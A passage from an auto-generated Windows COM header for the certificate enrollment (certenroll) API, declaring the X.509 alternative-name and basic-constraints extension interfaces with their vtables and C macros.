) \n\n#define IX509ExtensionTemplate_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionTemplate_InitializeEncode(This,pTemplateOid,MajorVersion,MinorVersion)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,pTemplateOid,MajorVersion,MinorVersion) ) \n\n#define IX509ExtensionTemplate_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionTemplate_get_TemplateOid(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_TemplateOid(This,ppValue) ) \n\n#define IX509ExtensionTemplate_get_MajorVersion(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_MajorVersion(This,pValue) ) \n\n#define IX509ExtensionTemplate_get_MinorVersion(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_MinorVersion(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionTemplate_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0022 */\n/* [local] */ \n\ntypedef \nenum AlternativeNameType\n    {\n        XCN_CERT_ALT_NAME_UNKNOWN\t= 0,\n        XCN_CERT_ALT_NAME_OTHER_NAME\t= 1,\n        XCN_CERT_ALT_NAME_RFC822_NAME\t= 2,\n        XCN_CERT_ALT_NAME_DNS_NAME\t= 3,\n        XCN_CERT_ALT_NAME_DIRECTORY_NAME\t= 5,\n        XCN_CERT_ALT_NAME_URL\t= 7,\n        XCN_CERT_ALT_NAME_IP_ADDRESS\t= 8,\n        XCN_CERT_ALT_NAME_REGISTERED_ID\t= 9,\n        XCN_CERT_ALT_NAME_GUID\t= 10,\n        XCN_CERT_ALT_NAME_USER_PRINCIPLE_NAME\t= 11\n    } \tAlternativeNameType;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0022_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0022_v0_0_s_ifspec;\n\n#ifndef __IAlternativeName_INTERFACE_DEFINED__\n#define __IAlternativeName_INTERFACE_DEFINED__\n\n/* interface IAlternativeName */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IAlternativeName;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab313-217d-11da-b2a4-000e7bbb2b09\")\n    IAlternativeName : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromString( \n            /* [in] */ AlternativeNameType Type,\n            /* [in] */ __RPC__in BSTR strValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromRawData( \n            /* [in] */ AlternativeNameType Type,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strRawData) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromOtherName( \n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strRawData,\n            /* [in] */ VARIANT_BOOL ToBeWrapped) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Type( \n            /* [retval][out] */ __RPC__out AlternativeNameType *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_StrValue( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ObjectId( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RawData( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IAlternativeNameVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IAlternativeName * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IAlternativeName * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IAlternativeName * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IAlternativeName * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IAlternativeName * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IAlternativeName * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IAlternativeName * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromString )( \n            __RPC__in IAlternativeName * This,\n            /* [in] */ AlternativeNameType Type,\n            /* [in] */ __RPC__in BSTR strValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromRawData )( \n            __RPC__in IAlternativeName * This,\n            /* [in] */ AlternativeNameType Type,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strRawData);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromOtherName )( \n            __RPC__in IAlternativeName * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strRawData,\n            /* [in] */ VARIANT_BOOL ToBeWrapped);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IAlternativeName * This,\n            /* [retval][out] */ __RPC__out AlternativeNameType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_StrValue )( \n            __RPC__in IAlternativeName * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IAlternativeName * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IAlternativeName * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IAlternativeNameVtbl;\n\n    interface IAlternativeName\n    {\n        CONST_VTBL struct IAlternativeNameVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IAlternativeName_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IAlternativeName_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IAlternativeName_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IAlternativeName_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IAlternativeName_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IAlternativeName_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IAlternativeName_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IAlternativeName_InitializeFromString(This,Type,strValue)\t\\\n    ( (This)->lpVtbl -> InitializeFromString(This,Type,strValue) ) \n\n#define IAlternativeName_InitializeFromRawData(This,Type,Encoding,strRawData)\t\\\n    ( (This)->lpVtbl -> InitializeFromRawData(This,Type,Encoding,strRawData) ) \n\n#define IAlternativeName_InitializeFromOtherName(This,pObjectId,Encoding,strRawData,ToBeWrapped)\t\\\n    ( (This)->lpVtbl -> InitializeFromOtherName(This,pObjectId,Encoding,strRawData,ToBeWrapped) ) \n\n#define IAlternativeName_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IAlternativeName_get_StrValue(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_StrValue(This,pValue) ) \n\n#define IAlternativeName_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IAlternativeName_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IAlternativeName_INTERFACE_DEFINED__ */\n\n\n#ifndef __IAlternativeNames_INTERFACE_DEFINED__\n#define __IAlternativeNames_INTERFACE_DEFINED__\n\n/* interface IAlternativeNames */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IAlternativeNames;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab314-217d-11da-b2a4-000e7bbb2b09\")\n    IAlternativeNames : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IAlternativeName **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt IAlternativeName *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IAlternativeNamesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IAlternativeNames * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IAlternativeNames * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IAlternativeNames * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IAlternativeNames * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IAlternativeNames * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IAlternativeNames * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IAlternativeNames * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in IAlternativeNames * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt IAlternativeName **pVal);\n        \n        /* [helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in IAlternativeNames * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in IAlternativeNames * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in IAlternativeNames * This,\n            /* [in] */ __RPC__in_opt IAlternativeName *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in IAlternativeNames * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in IAlternativeNames * This);\n        \n        END_INTERFACE\n    } IAlternativeNamesVtbl;\n\n    interface IAlternativeNames\n    {\n        CONST_VTBL struct IAlternativeNamesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IAlternativeNames_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IAlternativeNames_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IAlternativeNames_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IAlternativeNames_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IAlternativeNames_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IAlternativeNames_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IAlternativeNames_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IAlternativeNames_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define IAlternativeNames_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define IAlternativeNames_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define IAlternativeNames_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define IAlternativeNames_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define IAlternativeNames_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IAlternativeNames_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509ExtensionAlternativeNames_INTERFACE_DEFINED__\n#define __IX509ExtensionAlternativeNames_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionAlternativeNames */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionAlternativeNames;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab315-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionAlternativeNames : public IX509Extension\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ __RPC__in_opt IAlternativeNames *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_AlternativeNames( \n            /* [retval][out] */ __RPC__deref_out_opt IAlternativeNames **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionAlternativeNamesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionAlternativeNames * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509ExtensionAlternativeNames * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionAlternativeNames * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [in] */ __RPC__in_opt IAlternativeNames *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternativeNames )( \n            __RPC__in IX509ExtensionAlternativeNames * This,\n            /* [retval][out] */ __RPC__deref_out_opt IAlternativeNames **ppValue);\n        \n        END_INTERFACE\n    } IX509ExtensionAlternativeNamesVtbl;\n\n    interface IX509ExtensionAlternativeNames\n    {\n        CONST_VTBL struct IX509ExtensionAlternativeNamesVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionAlternativeNames_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionAlternativeNames_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionAlternativeNames_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionAlternativeNames_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionAlternativeNames_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionAlternativeNames_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionAlternativeNames_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionAlternativeNames_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionAlternativeNames_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionAlternativeNames_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionAlternativeNames_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509ExtensionAlternativeNames_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionAlternativeNames_InitializeEncode(This,pValue)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,pValue) ) \n\n#define IX509ExtensionAlternativeNames_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionAlternativeNames_get_AlternativeNames(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_AlternativeNames(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionAlternativeNames_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509ExtensionBasicConstraints_INTERFACE_DEFINED__\n#define __IX509ExtensionBasicConstraints_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionBasicConstraints */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionBasicConstraints;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab316-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionBasicConstraints : public IX509Extension\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ VARIANT_BOOL IsCA,\n            /* [in] */ LONG PathLenConstraint) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_IsCA( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PathLenConstraint( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionBasicConstraintsVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionBasicConstraints * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509ExtensionBasicConstraints * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionBasicConstraints * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [in] */ VARIANT_BOOL IsCA,\n            /* [in] */ LONG PathLenConstraint);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [in] */ 